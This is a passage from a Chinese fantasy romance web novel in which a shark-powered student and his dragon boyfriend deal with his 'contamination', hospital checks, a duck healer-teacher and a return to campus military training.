文缙的座位距离沙伍更近，挨过去看他手环上的菜单：“哦，这几个菜很地道，你们自己点肯定没这个好吃。” 姜纶把沙伍往自己身边拉了一把，伸手让文缙保持距离：“说话就说话，凑这么近干嘛？” 文缙看着他一头金发格外别扭，努力告诉自己这是姜家的小少爷不能得罪，使出毕生演技扬起笑脸恭维：“小少爷是哪里做的接发？一点都看不出来，特别自然。” 姜纶压根不搭理他。 文缙嘴角一抽，内心暴躁，要不是看在姜纶的身份，谁跟他多废话，还是跟沙伍多谈谈小钱钱：“你这次过来，带了什么？” “没带什么，突然就被院长抓过来了，我本来好好在军训呢。”沙伍到现在还满头雾水。 文缙是朱雀学院的学生，和青龙学院共用一个院长，闻言很是酸溜溜：“院长这段时间一直待在青龙学院，都好久没回我们这边了。院长明明是只鸟……”他突然看了沙伍一眼，“哦~院长吃鱼，待在水产养殖学院也对。” 姜纶眼神微妙地看了一眼文缙。 文缙没注意到，打开自己的手环发了一份文件给沙伍：“正好你来了，我这儿有好多本地特色的变异生物，你要不要带回青龙城卖一卖？” 沙伍好奇打开，看着一些材料名字根本没看懂：“都是些什么？”跟他记忆中的材料清单不太一样。 “哦，这些都是粗加工过的。我们朱雀城的大部分材料都会先进行一下粗加工，方便整理售卖。” 姜纶看了一眼，平静戳破文缙对语言的艺术加工：“这个净化原液是变异蟑螂榨汁；这个……” “停！”沙伍制止他继续说下去，“我们先吃饭。” 第35章 连带污染 去了一趟珠宝城，小钱钱和存的小晶核消耗了七七八八，沙伍最后还是承担了人肉搬运工的角色，给各种加工过的虫子原材料分别套上了三层泡泡，才带着姜纶跳海。 小少爷牵着小鲨鱼的翅尖。 小鲨鱼看着手环显示的海图和估测的超过半个月的到达时间：“回去军训都结束了，开学都错过了。” “我的速度应该挺快的，等离开城市远一点，我来带你游。”姜纶把自己手环的光屏推到他面前，“夜老师给的任务是明天早上8点前到达3号监测点。” 小鲨鱼想想自己的速度，再想想这个时间线，抖了抖没被姜纶抱住的另一边翅尖：“你的感觉准吗？要是完不成的话，我们是不是明年要跟着学弟学妹们一起军训？” 今年就有大二，甚至是大三的学长学姐，跟着他们一起军训的，只是没有编在他们班。 “我感觉当然准。”姜纶举例说明，“我第一次见你，就知道你是我的男朋友，就睡了。” 什么叫“就睡了”！ 不要省略细节，造成误解啊！ 不过还真的很有说服力。 沙伍选择相信他。 姜纶一下一下扒拉小鲨鱼的翅尖：“军训补什么补？逃课就好了。” 小鲨鱼被刺挠得不行，可惜翅尖没法缩，黑眼珠子向后瞟：“别挠了！小心我咬你。” “你咬啊。”小少爷根本不虚。 小鲨鱼在海底一个急转弯，把小少爷甩出翅尖，一口咬住：“哼。” 小少爷顿时像一条鳗鱼一样放软了身体，躺平得非常干脆：“夜老师现在大概不会允许我逃课了。” 知道小鲨鱼叼着自己不方便说话，他就自顾自继续解释，“青龙城是以我妈的名字命名的，包括最初的青龙学院，其实是青龙战队的驻地。现在房子还在，是学院的教职工宿舍，等回去之后带你去看。 我妈的觉醒体就是青龙。夜老师被误导，认为我也是青龙，一直想着等我成长起来，他就可以只当朱雀学院的院长，把青龙学院交接给我。” 小鲨鱼把姜纶放开，重新递过自己的翅尖：“不是，青龙城不是大灾变之后最开始建立的五大城之一吗？你妈妈建立的……现在是251年，你才20岁……” 他知道高阶异能者寿命会很长，但没想到能这么长。 “哦，我妈生我的时候高龄产妇。我跟我姐相差岁数很大。” 沙伍听着他轻描淡写的说辞，困惑越来越多：“按照教科书上关于大灾变的说法，是全球基因发生了紊乱和污染，导致所有生物发生了变异。一部分人类能够掌握变异的能量……所以，人身上的基因应该‘只’来自于现存……地球生物？龙不是神话生物吗？” “那只是一种比较合理的能够被大众接受的推测？当初大灾变发生，现代科技都毁于一旦，社会那么动荡，稳定局势都花了十来年。等到能够去做那方面的研究，早就没了第一手资料。反正我妈是龙，我也是龙。啊，有可能我们只是长得像龙的某种奇怪方向的变异？反正龙本身不也是祖先根据现存生物编出来的？” 沙伍觉得他说话的语气很无所谓，想想人家本来就是龙了，到底是怎么来的，确实好像不太重要，换了个话题：“那你就算不是青龙，也是龙，为什么青龙学院的院长一定得是青龙？颜色就这么重要？院长一只夜师傅都可以当，你为什么不行？真的不是你逃课太多？那不然让你姐来当？” “我姐的觉醒体随我爸，算是蛇吧。我也不知道院长为什么这么执着，就算我不是水系和木系，也是水系和土系，种地一样很行。青龙学院除了水产养殖，种地也很强。”姜纶也想不明白，“过几天应该要回家一趟，男朋友跟我一起回去见家长吗？” 沙伍还在想什么叫算是蛇，就听他突然说要见家长，顿时不知所措：“这、这么快的吗？” “那就当去后土城玩？你不是想看茶园吗？这会儿差不多可以摘一波秋茶。山上还有温泉……”姜纶一点一点讲着老家好玩的地方，把小鲨鱼钓成了翘嘴。 沙伍刚才还在对这次在朱雀城过于短暂停留感到遗憾，现在听着后土城的一切又觉得向往起了后土城：“那我们什么时候去？” “军训结束后就是周末，我们周末去。我一会儿练练能不能飞，到时候带你飞回去。” “飞？！”小鲨鱼错愕，“那你不是水陆空三栖？作弊！” “怎么就作弊了？”姜纶轻笑，“我就算作弊，也带着你一起作弊。” 话落，沙伍突然感觉眼角的金光亮了一瞬，翅尖上的重量一轻，一条巨龙在海底延展，在夜晚的海底几乎看不到头尾。 沙伍的心脏漏跳了一拍，感受海水因为突然出现的庞然大物被往四周挤压。 就在小鲨鱼要顺着浪涌往边上推开的时候，一只爪子伸过来，把小鲨鱼拢过去。 沙伍下意识变成一个人，双手环抱住一根脚指头，并不像想象中那么坚硬冰冷，反倒是柔韧的温暖的。 非常好闻的气味散发出来。 沙伍无意识咽了咽口水，前不久吃的晚餐似乎已经消化完毕，饥饿感一点一点从胃里面爬出来，钻进骨头缝里，慢慢的全身的细胞都在叫嚣着吃了他！ 脊背处的骨骼发生变异，一道铁灰色的背鳍带着类似金属的尖锐穿破作战服。 裸露在外的皮肤染上同样铁灰色…… 污染。 沙伍知道这样下去不行，比平时更加漆黑的瞳仁一点点变得清明，渐渐褪去墨色，重重呼出一口气：“呼——” 这时候，他才听到耳边担忧的呼喊声：“沙伍，冷静！” 沙伍浑身都没力气：“冷静个屁。饿死了。” 骂完，他就晕了过去。 醒过来看到手腕上的吊针，沙伍是一点都不意外。 不同于在朱雀城时候的活蹦乱跳，这会儿他感觉自己像是真的生了一场大病，浑身绵软无力，身体像是只剩下一个空壳，一阵一阵冒虚汗。偏偏壳子里还有个石墩墩，很撑，过于扎实地把他的四肢百骸一起镇压住。 一条手臂横过病床，按了一下床头的呼叫铃。 姜纶低头在他额头和嘴唇上很轻地亲了下。 沙伍张了张嘴，觉得嗓子有一种缺水的干哑撕痛，想转头看看坐回去的姜纶都做不到。 怎么回事？ 男朋友是在跟自己冷战吗？ 沙伍动动眼珠子，只能看到手腕下垫着姜纶的一只手，金色的长发遮挡住姜纶的侧脸，完全看不出他这时候的表情。 他在自己的想象中已经暴起把姜纶咬了好几口，实际却只是微微皱眉。 医生很快到来。 除了沙伍熟悉的章医生之外，还有好几个面容有点熟悉的医生。 看来他是回到青龙城了。 “数据很好。” “毕竟在生长发育期，恢复能力很强。” “这一下营养不良的问题从根子上就解决了大半。朱雀学院那边的数据发过来的时候，我还不敢相信。”全程跟进沙伍身体情况的章医生笑容满面，“好了，等这一瓶恢复药剂打完就可以回家养着了。” 几个医生鱼贯离开病房。 一只夜鹭自己打开窗户，飞了进来，一下就要落在了沙伍脸上。 姜纶眼疾手快，把夜鹭扒拉到一边。 夜鹭只能落在枕头上，偏着脑袋看沙伍，给他理了理头发。 沙伍冲着夜鹭眨了眨眼。 姜纶终于开口：“夜老师，沙伍被我污染……” 夜鹭对姜纶的担忧不以为意：“沙伍的吞噬异能很特殊，没那么容易被污染。他会产生被污染的表象，应该是你成年时候带着他一起，他的身体被你同化了一部分。过阵子代谢掉就好了。这次沙伍倒是占到了大便宜。” 沙伍还是没法说话，认真听讲。 夜鹭作为老师，对上课认真的学生态度和善，语气也没那么暴躁：“姜纶的情况很特殊，之前的身体情况一直处于不稳定状态，一直到昨天……前天晚上才算是又经历了一次蜕变，真正成年。不出意外的话，以后姜纶的情况会慢慢稳定下来，不用再担心……” 夜鹭说着说着，声音就低了下去，动作幅度很大地转头看向姜纶，总觉得自己的操心远还不到结束的时候。 他一步一步走到姜纶跟前，歪着脑袋往上看，还没看清楚，就被姜纶薅住了放回到枕头上，还摆了个两脚朝天的姿势。 作为一只鸟，怎么会仰躺着睡？ 他是什么小朋友的洋娃娃吗？ 沙伍感觉到脸上摊开的夜鹭翅膀，嘴角微微弯了弯。 沙伍感觉自己的手被姜纶轻轻握了握，依旧看不清姜纶的表情。 和之前他必须凑近了才能闻到姜纶身上淡淡的香味不同，现在的姜纶身上的香味变得更加幽深，有一种经过岁月沉淀后的醇厚。 明明才比他大两岁而已，装什么深沉？ 沙伍不能咬人，调动全身的力气勉强动了动手指。 姜纶明显察觉到他的小动作：“别动，好好休息。” 刚躺平的夜鹭一下就跳起来，这日子没法过了！ 果然学生都是讨债鬼！ 夜鹭一脚踩着枕头，一脚踩在沙伍脸上：“本来你这破体质得养不知道多少年才好，这回蹭到了姜纶蜕变的气息，相当于跟着重新孕育了一遍，身体一下得到了修复和加强。不过你得到的力量太庞大，虽然能量温和，不过得经过长时间消化吸收，才能真正转化成你自己的能量。” 沙伍眨了眨眼，示意自己理解了。 夜鹭继续说道：“这种情况从来没发生过，后续你每天还是要到医院做体检，饮食也要严格遵守医生建议。” 沙伍又眨了眨眼。 “后遗症不是没有。短时间内，就像之前说的，你得到的力量源自于姜纶，看起来很容易受到姜纶污染的影响，觉醒体会不稳定，会出现一些污染症状。不过这些影响不大，你自己是吞噬异能，还是姜纶的专属净化者，天生对姜纶的污染有克制。哪怕污染值上升，也只是暂时的。这段时间尽量保持情绪稳定，不要用异能。” 沙伍很轻地“哼”了一声，表示知道。 夜鹭歪了歪头，感觉自己该说的已经说完了，刚准备走，就收回翅膀，问姜纶：“你是不是要回一趟后土城？” 姜纶怔了怔，才应了一声：“是。”又停顿了一下，才继续说道，“我的资料都在那边，得带沙伍一起回去。” “应该的。不过尽快回来。”夜鹭飞到窗台上落下，“对了，你们俩这次军训成绩没有，下个学年补。” “啊。”沙伍被这噩耗惊到发声。 姜纶立马阻止他可能的动作，放在他手腕下的掌心不动，另外一只手轻轻摁住他的肩膀：“别动。” 沙伍翻了个白眼。 他这个情况，还能怎么动？ 姜纶看他灵动的眼睛，不自觉露出笑意，又迅速消失：“我……我很对不起你。” 沙伍一下瞪大眼睛：出轨了？ 姜纶看懂他的意思，原本悲伤的情绪差点全都消失，咬着牙：“别想那些乱七八糟的事情！我不可能出轨！”想到沙伍长长的联系人列表，语气极差，“你更别想有什么不该有的心思！” 沙伍的眼神游移了一下。 姜纶一看，气急败坏：“你什么意思？你还真有什么想法？朱雀城那个花里胡哨的鸟是不是你给自己准备的备胎？你更喜欢他那款的长相是不是？” 沙伍看着他的眼神充满笑意。 姜纶瞬间泄气：“你就故意逗我吧。你都不知道我有多担心你……”有多自责。 污染，对于他来说是稀松平常的事情。 和污染的对抗，从他出生起就一直持续至今。 他也见惯了那些输给污染的人，下场无一不惨烈。 但是当污染出现在沙伍身上，尤其是沙伍的污染由于他才存在，带给他的冲击力让他到现在都很混乱，甚至不知道该怎么面对沙伍。 剩下的营养药剂很快打完，姜纶不用护士就自己给沙伍消毒拔针，拿起早就准备好的水给沙伍喂了一小口。 甜的，还清清凉凉的~ 沙伍的眼睛瞬间眯起来，开心地动了动脚趾，突然一下惊坐起来，痛到面容扭曲，嘶嘶吸气。 “抽筋了？”姜纶帮他按住腿，放松腿部肌肉，“最近会有些生长痛。” 沙伍感觉病号服被自己不知道是冷汗热汗还是虚汗浸透了无数遍：“洗。” 姜纶的手一顿：“回家我帮你洗澡。” 飞车直接停在病房的窗外，沙伍躺在病床上被转移到了飞车里。 和以往飞车里只有沙伍和姜纶不同，这一次更大的飞车里还有宿舍的两名家庭医生。 这两人平时待在青龙学院的什么医学研究所里，沙伍知道有这么两个人，偶尔吃饭的时候见过，但并不熟悉。 两人一起出现，沙伍顿时有一种自己得了什么大病的错觉。 讲真，他觉得自己现在充满了力量，只是有点……和四肢不太熟悉？ 回去的路上，沙伍断断续续又喝了几口水，等回到熟悉的房间后，已经找回自己洗澡的力气。 姜纶不放心，守在浴室门外：“那你没力气了叫我。” “哦。”沙伍懒洋洋地应了一声，滑溜进放好水的浴缸里。 “小鲨鱼，要不要给你擦背？” “不。” “你不可以用异能哦。” “嗯。” “有力气出浴缸吗？” “有。” “还没洗完吗？” “没。” “不要玩水。” 沙伍大怒，胡乱擦了一下，裹了一件浴袍就冲……挪出浴室：“烦。”他一条鲨鱼会在浴缸里淹死吗？ 不知道是不是躺久了，他有一种四肢不太灵活的僵硬感。 本来想着好好泡上半小时热水澡解冻一下，结果有人就是不想让他如愿。 姜纶快步上前，把人横抱到床上放好，想想放床上还是不对，干脆横抱起来，穿过内置的隐形门，通过一段往下的楼梯，直接到了自己的房间。 沙伍看得都忘了生气：“密道！咳咳。”一不小心说话太大声，喉咙又开始难受。 “别说话。一会儿喝碗粥，然后我们就出发去后土城。”姜纶把他放到自己床上，突然意识到沙伍身上就一件浴袍，床上太过危险，赶紧把人又转移到起居室的小圆桌前。 沙伍刚坐好，阿大就端了餐盘送进来，跟在身后的还有小风。 “小少爷不用准备什么行李，给小伍拿了件衣服。”说完，她把放了衣服的托盘放到卧室，“小伍一会儿喝完粥，把衣服换上。” 沙伍手一抖，差点把勺子掉进碗里：“谢谢小风姐。” 姜纶干脆从他手上拿过勺子，一口一口投喂。 阿大和小风放完东西就出去了。 沙伍的尴尬才算缓解，懒洋洋地享受男朋友的服务，越想越开心。 姜纶被他感染，也跟着露出一个笑，凑上去在他嘴角亲了亲：“傻笑什么呢？” 沙伍微微偏头，回啾了一口：“就是认识你真好~” 从认识姜纶开始，他的人生一下就变得温暖起来。 以前，他给自己设定的能够有一些自己追求的人生，得从学校毕业参加工作后。 “傻不傻？我都害你躺医院了，还觉得我好。小心哪天把你卖了。”姜纶回亲了一下，马上仰头拉开距离，“好好把剩下的粥喝完。” 跟只穿了一件浴袍的男朋友这么贴贴，偏偏还能看不能吃，实在是太折磨了。 喝了半碗粥之后，沙伍已经恢复了不少力气，最起码动嘴皮子的力气有了：“你才舍不得。” “对对对，卖了我自己都舍不得卖你。”姜纶转移话题，“你带回来的净化原液什么的，梁伯伯帮你卖了。货款应该已经打到了你的账户上，一会儿你看一下。该给文缙多少，你应该跟他谈过？” “嗯。代理费10%。”沙伍都忘记那些生榨虫子汁了，“等等出发前，我发个快递，得把晶核发给设计师。” “已经帮你发了。” “哦。梁伯伯真好~” “什么梁伯伯，我发的。”姜纶没好气地瞪他一眼，把最后一口粥喂好，抱着他进卧室换衣服。 沙伍故意逗他：“不帮我换？” 姜纶转身的动作瞬间僵硬，出门撞了一下门框，捂住脑门想瞪他，却看到沙伍在解腰带，赶紧转头出门，又撞了一下门框。 “哈哈哈！” 姜纶的声音从外间传过来：“你等着！” 青龙学院有自己的机场。 沙伍跟着上飞机的时候，松了一口气：“还好。我还以为你会在宿舍里变出一条飞机跑道直接飞呢。” 至于私人飞机？ 钻石小少爷拥有一架私人飞机不是很正常的事情吗？ 没有才不正常。 “从宿舍大门到主楼的路，就是飞机跑道。”姜纶抱着他到床上，“不过那种属于紧急用，平时家门口杵个飞机不好看。毕竟是宿舍，没弄正经机库。” 沙伍还没有恢复力气，但人很精神，不想躺在床上：“不是说飞行很危险吗？会不会遇到变异鸟群？” 姜纶塞给他一个变异柠檬：“有我在，不太可能遇到。你不是经常被夜老师抓着飞，有遇到过变异鸟群吗？” “哦，真·空军。”沙伍刚开始还有些兴奋第一次飞行体验，后来想想时不时被夜鹭提溜到外海的经历，也没那么兴奋了，再一想到夜鹭的话，顿时情绪低落，“院长不会真的不算我们军训成绩吧？” “不会。他就是吓唬你。军训任务的三亩地，我们早就完成了。剩下的一点武器装备的学习，本来对你这样的S级异能值的用处不大，差不多知道就好。剩下的团队协作只是形式主义。等大二会再分专业，到大三才真正开始有点像样的战队模拟。到时候其他同学的战队成员不可能只有现在十班的人，会有别的班级的同学，或者别的学院的同学。” 沙伍听他说的头头是道：“那我们呢？” 姜纶理所当然：“我们的战队，当然是我们两个。别的都是菜鸟，跟不上我们的节奏。到大三我们就可以去野外玩，到时候你的身体肯定养好了，我有几款质量很好的帐篷……” 沙伍听他的语气有点怪，又觉得是不是自己想多了，就听姜纶继续说道，“……我们可以睡双人睡袋。” 说完，他还咽了咽口水，眼睛都染上一层金色。 沙伍沉默。 好吧，他没想歪，姜纶就是那个意思。 沙伍抱着变异柠檬翻了个身。 从今天起少逗姜纶，不然等过一阵，他的下场可能会很惨。 他一个才一百斤的小弱鸡，就不该瞎挑衅。 第36章 虚胖 沙伍本来以为飞机降落在后土城后，他会体验到钻石小少爷生活的纸醉金迷（bushi）。 实际上飞机直接掠过了后土城的城区，降落的机场几乎已经可以算是后土城的卫星城，从空中俯瞰下去，甚至没有东湖城的孤儿院社区大，别说是城市，连个镇子都偏小。 哦，一般的镇上没有规模这么大的房子，这么多这么大的房子，都四四方方，一眼看不到头一样。 从飞机往下看的时候不觉得，坐在车上看才发现这些房子一个比一个大。 沙伍好奇地看着车窗外：“这是哪里？” “瑞云实验室。”姜纶看着熟悉的环境给他介绍周围的环境。 沙伍听着这个大房子里放着什么仪器，那个大房子里放着的又是什么仪器，听得两眼转圈圈。 最后，飞车在一栋和青龙学院专科医院非常相似的建筑门口停下，沙伍才算是看到了一些人。 “我小时候几乎是在这里长大的，这是我爸妈为了我建立的实验室。后来……这么多资源也不可能只服务我一个人，就干脆建立了一个对外的医院，专门治疗污染。”姜纶指了指医院后面，“那边是住院区，都是情况比较严重，在别的专科医院很难拉回来的。这里算是最后的希望。” 沙伍扶着姜纶下车，各种和自己肢体不熟悉的慢动作，嘴巴倒是很灵活，眼睛亮闪闪的：“我能不能试试？” 姜纶一下没理解：“试试什么？哦~你想试试净化他们？” 沙伍的眼睛都比平时的圆：“可以吗？” 姜纶无奈笑笑：“院长刚跟你说的不准用异能是完全忘记了。” “没忘。肯定是等我能用异能后啊。”沙伍想像以前那样跳到姜纶后背上，可惜身体不太听使唤。 姜纶会意，没有背，而是把他打横抱起来：“现在是想那些的时候吗？你先恢复之后再说，现在连皮都没力气。” 医院里的人比外面更多，大部分都面容严肃，也有少数看着比较轻松的。 姜纶才刚抱着沙伍进去，就有病床挂着沙伍的名字停在门口。 沙伍躺平，被病床自动送往摆放了各个医疗仪器的房间一通检查。 沙伍自己倒是不用多做什么，连话都不用说，除了下池子变一下鲨鱼外，剩下的就是躺平。 他觉得这个池子有点小，歪头想在池子里转个圈，总觉得顶尾巴？ 觉醒体的检测结束后，沙伍被重新送回到病床上，出门就是小风等在外面，还有一群糊在墙上面容扭曲的人。 什么情况？ “小风姐？” 强大的风系异能瞬间收敛。 被强风挤压在墙上的人，全都一个个掉下来，脱力一样跪趴在地上大口喘气。 小风露出微笑：“没事，做完检查了？结果应该很快就会出来，你想在医院等，还是去外面走走？” “走两步吧？”沙伍感觉自己的四肢又找回来了一点。 小风按了一下病床的一个控制按钮，扶着沙伍下床：“好，慢慢走。” 沙伍慢腾腾走。 地上的人全都对他行注目礼：走这么慢，故意的吧？ 他们不敢多看小风，颤抖的身体诉说着他们的恐惧。 沙伍感觉到鸭力：“刚才那些人是怎么回事？” 小风把突然飞到沙伍头顶的绿头鸭抱下来丢掉：“哦，那些人啊，没搞清楚状况，说我们插队。” 瑞云实验室的存在就是因为姜纶，一切都以姜纶的意志为优先。 从来都是客随主便，想要客大欺主，也得有那个实力才行。 “呵，医院里急诊插队检查的多得是，不找别人就找我们麻烦，大概是觉得我们两个年纪轻好欺负。也就是搁这儿，要是在野外遇到，哼。”野外遭遇，歼灭一切对自己有敌意的存在，是生存第一法则。 “野外遇到会怎么样？打一顿？”沙伍眼睁睁看着绿头鸭飞了一圈又落到自己头顶，“这只鸭是怎么回事？食堂里跑出来的吗？” 这鸭子真肥。 “叫老师！”鸭子说。 沙伍猜这只鸭子可能是个人，又觉得除了院长，别的鸟不会和自己这么亲近，冷不丁听到鸭子说话，很惊讶：“老师？” 小风介绍：“这只鸭子是给小少爷异能启蒙的老师，小伍叫他鸭老师就行。” “鸭老师？”这么随便的吗？ 沙伍已经忘记原先的问题了，很好奇肥嘟嘟的鸭老师的人形到底是什么样子的？异能会是烤鸭味吗？ 哦，鸭绒真暖和。 沙伍感觉头顶的温暖，微微眯了眯眼睛：“鸭老师是不是在给我治疗？” 一个鸭嘴巴探到沙伍眼前，把沙伍看成斗鸡眼，才重新缩回去：“小朋友的感觉很敏锐啊。既然被你发现了，我就不隐瞒了。其实我的真实身份是光明教皇！我看你这么有天赋，拜入我的门下，我封你为光明圣子，怎么样？” 鸭翅膀指了指河边的长椅，示意沙伍去坐下。 “不怎么样。”沙伍有些怀疑鸭老师是不是正经老师，问小风，“姜纶呢？还没检查好吗？” 小风看了看手环：“他的检查有些复杂，一部分要到别的实验室去。你的体检报告有些数据出了，要不要先看一下？” “看。”沙伍看着小风放大的光屏，先扫到上面的身高体重之类的基础数据，“我又长高了3厘米，体重也长了5斤！一次长了5斤~” 小风看着沙伍兴高采烈的样子，实在不忍心打击他，等晚上所有数据都出了，全家人坐一起，再批斗他吧。 觉醒体的身长体重变化更加明显。 现在的小鲨鱼身长5米，体重2008公斤，几乎可以是一条正常体重的大白鲨。 沙伍认真看了看上面的数字，指了指：“为什么后面要加个‘虚’？” 鸭老师解释：“意思是这个数值是临时的，你是虚胖。你的人形数据更精确。参考一下，觉醒体的数据不可能这么好，应该是受到了小少爷的影响才一下增长的，很快就会缩回去。” 沙伍本来想绕着医院转一圈，让自己接受这个让他伤心的事实，没想到医院太大，四周光秃秃的，转了半个小时，就回去了。 “鸭疗”的效果很明显，沙伍走路已经和平时差不多了，就是还不能跑跑跳跳。 “鸭老师，你是传说中的治疗系异能吗？” 鸭老师抬起一边翅膀，整理咯吱窝，咬字有些含混：“严格来说，没有一种叫治疗系的异能，只不过有些像我这样心存大爱的异能者，愿意将光明撒向人间……” “咳。鸭老师，小伍是今年暑假刚觉醒的，对异能的认知还很浅，可能分不清你是真话还是忽悠。”小风微笑提醒。 鸭老师的脑袋埋在咯吱窝里，小眼珠子看着笑容明媚的漂亮姑娘，从里面解读出杀气。 脖子上的羽毛一路炸到头顶，小声：“我的意思是，像我这样异能天生特别温和的人，自身异能没有一丁点攻击力，能够不被排斥地进入别人体内，辅助调理别人混乱的异能，让那些异能回归到原本的位置，从而达到辅助治疗的效果。” 沙伍第一次听说还有异能是没有攻击力的：“我还以为异能只是攻击力大小和种类不一样。” “异能的种类很多的。”鸭老师觉得还是小朋友可爱，愿意跟他多讲一些怎么用异能治疗的知识。 作为小少爷关系户，他们很容易就在医院里找到一间清净的休息室。 鸭老师原本只是想简单讲讲，没想到沙伍的理解力很强，对异能治疗也很感兴趣。 本着负责任的态度，鸭老师就认真指导了一番实用的治疗小技巧：“你的异能应该是带有一定攻击性的，虽然不适合给他人做治疗，但是给自己治疗没有问题。要是想系统性学习，小少爷那儿有我的全套资料，你找他要教科书就行。哦，我们加个联系人，有什么不懂的问题可以问我。” “在说什么？”姜纶推门进来，就看到作为临时休息室的小会议室里，沙伍的脸正贴在鸭老师饱满的胸脯上，一个箭步上去就把人抱起来。 沙伍感觉一阵腾云驾雾，不是，是骤然升高的视线：“我两吨了告诉你！再随便乱抱，小心把你压成一张小少爷。” 姜纶不以为意，还轻轻抛了抛：“才两吨你在厉害什么？两吨就不是宝宝了？好了，我们回青龙学院了。” “这就回去了？”沙伍还以为会在这里检查个好几天。 “后面等数据分析就行。你不是担心军训成绩没有嘛，我们回去继续军训。” “真的假的？我现在这样还能军训？”他现在只能变个鱼，严格禁止使用异能。 姜纶告诉他真的就是真的。 傍晚的飞机在青龙学院落地，又坐船到了3号监测点。 结束了一天军训的十班同学们得到消息，和一些其他班级的同学聚集在码头。 “沙伍，快下来！” “你身体怎么了？” “现在好了没？” 沙伍嘀咕了一句：“还真是等我的？”说完他就走下船，“我大概接下来军训都不能用异能，要给大家拖后腿了。” 同学们都不以为意：“说的什么话，接下来我们养你，你就跟别的同学一起乖乖养伤。” 十班遭遇了意外，虽然同学们的伤情没有预料中那么严重，但也有几个同学需要一段时间静养。 鲤鱼同学还在医院，都没法待在监测点。 其他班级遇到的情况没有十班这么凶险，但在条件有限的污染区训练，本身就有一定的危险性，几乎每个班级都有一两个不能参与正常训练的同学。 这次军训的目标，考验的是整个班级能不能相互扶持完成所谓的人均开荒三亩地。 十班的开荒早就已经完成了，剩下的任务比较轻松。 至于为什么沙伍会身体不好，同学们都觉得很正常。 异能是能够强化身体的。 越是高的异能值，强化身体的效果越明显。 沙伍这种瘦巴巴的体型明显不健康，加上和一个臭名昭著的通缉犯迎头撞上，别说只是住两天院，就是住两年医院，他们都能完全理解。 沙伍有些小感动。 姜纶打断他的感动：“小鲨鱼我养，有你们什么事？” 同学们已经和姜纶有些熟悉，听他这么一说，纷纷嘘他。 “养小鲨鱼人人有责！” “小少爷一边去！” “小鲨鱼的事情你别管。” “你抓得到鱼嘛，就养？” 除了小鲨鱼之外，没有钓到过鱼的空军小少爷：“我……我就养！” 码头的热闹很快散去。 那么多同学聚在码头，显然不都是专程为了等沙伍和姜纶的，主要是为了晚餐的食材忙碌。 这些天他们已经能够从污染海域寻找食物。 受限于战斗力和对水域环境的熟悉程度，他们抓鱼远没有沙伍那么轻松。 原先沙伍在的时候，不仅仅是十班的同学不需要为一日三餐发愁，就连其他班级食物短缺，也可以用一些象征性的代价从沙伍手上换取到食物。 譬如好看的石头、花草、鱼、贝壳什么的。 这两天沙伍不在，寝室门口多了两个筐子。 海豚班长：“这些都是同学们送给你的，你自己整理一下吧？还有一些活的，在一楼交易区。” “好。” 姜纶理所当然地叫来飞车，把东西全都搬去船上。 沙伍的体力到底没恢复，走了一路有点气喘：“我好不容易回到寝室了，为什么还让我去船上？”遛着他玩？ 姜纶把自己手腕递给他咬，顺手把沙伍放到装货用的平板飞车上，让飞车跟随自己：“那不然你跟我去种地？” “去！”沙伍把一个筐子坐出了王座的气势，拍拍空余的一个筐子，“上来吧，我的王后~” 姜纶只能坐上去：“你一点感想都没有？” “什么什么感想？”沙伍手上拿着一个长得奇形怪状的海螺壳，来来回回比划，琢磨着这么多犄角是不是能用来做个什么东西。 姜纶还是很介意：“污染。” 一个异能者怎么会对自己被污染毫无芥蒂？ 沙伍白了他一眼了，又认真想了想：“感想啊？你把鸭老师的课发给我，等我研究完后，写一篇感想给你。” 时间短暂，鸭老师能够给他讲的都是最最基础的东西。 不过鸭老师水平极高，能够用简单的话语直指问题核心，他确实有一些想法。 正好这几天闲着也是闲着，可以集中起来学习一下。 姜纶皱眉：“跟鸭老师有什么关系？”话是这么说，他还是把鸭老师的课程视频和教材一起发给了沙伍，“教材是别人写的。在鸭老师这里属于参考资料，鸭老师的理论跟他们不太一样，不过可以相互借鉴。” “好的。”沙伍收到文件就点开学习，一点时间都不浪费。 隔离栏外的斜杠农场里，地上已经长出了浅浅的绿色，不是曾经的变异杂草，而是变异苜蓿刚冒头的芽。 灌溉用的水渠挖好，上面的水闸也已经建成，比沙伍想象中要小得多。 水系两边规划了净化用的变异植物，已经栽种了一半多。 斜杠农场逐渐展现出生机。 周围其他班级的田地，光秃秃和变异杂草交错。 几个老师在水渠边摆了桌椅板凳，在那儿架着锅子不知道在煮什么。 沙伍看姜纶在计算规划什么他看不懂的东西，就去老师们边上凑热闹。 李老师看他过来，递给他一根串串：“吃吗？” “不吃。现在医生不让吃别的东西。”之前在朱雀城的时候，医生说是不让乱吃东西，其实是不让乱吃富含能量的东西，普通饮食是不限制的，只要后续吃调配好的营养剂就行。 结果只是普通赶路而已，谁知道就出了意外，搞得他今天中午干脆吃的特调的能量棒。 营养是非常营养，该补的补，不该补的不补，味道就别提了。 想想要是以后都让他吃这个，顿时失去了生活的乐趣。 他看了看在农田上干活的姜纶，默默更正：失去了一半的生活乐趣。 李老师看他的样子，有心想问他的身体检查结果，顾及到旁边还有别的老师在，转而指了指水渠：“昨天你不在，他们找到了几株有净化作用的变异荷花，移栽了过来。” 九月份的荷花差不多已经都谢了，连莲蓬都干巴，荷叶半枯不枯，着实算不上好看。 沙伍从空气中闻到一股很淡很温和的异能，有点像谷物，又带着一点点微弱的清苦。 他循着气味追踪，最后停在一个干巴巴的莲蓬边上：“老师，我想要这个！” 李老师不以为意：“摘吧。”见沙伍直接伸手去揪，想起来沙伍现在不能用异能，赶紧一道异能膜把沙伍裹住。 沙伍眼睁睁看着几颗莲子嵌在膜里，停在距离他脸三厘米的地方，都没看清楚是怎么发射的：“喔……哇~” “哇你个头！”李老师黑着脸，把让人操心的学生一道水绳拽回来，“变异生物、变异生物！不管再怎么被人类驯化，都有可能存在一定危险性，接近的时候一定要做好防护！从小到大学过的课是全忘了？” 沙伍把变异莲子从膜上抠下来，小声狡辩：“我暑假才刚觉醒。” “你异能课都补完了！”李老师充分掌握班级里每一个学生的学习进度，“小学到高中阶段的异能课本来就是个基础，你那么多名师多对一指导学了一个多月，早就学完了。实践课还比班上大部分同学都快。” “咦？是吗？”沙伍沉思，把莲子收进海螺壳里，放回到筐子里，“我就说作业怎么那么多。” 以前他一直吃不饱，为了多买点吃的，一直坚持打工。 为了有更多的时间打工，他就锻炼出了做作业的速度。 讲真，他还没见过做作业速度比他快的。 这次暑假补课期间，明明没有打工，每天还得做三四个小时的作业。 李老师听着他轻飘飘的话，都懒得搭理他。 沙伍看他们把一串串的签子放进翻腾着红油的锅里面煮，不太理解为什么要串起来：“老师？” 李老师没好气：“干嘛？你不是不能吃吗？这些都是能量很高的食物。” 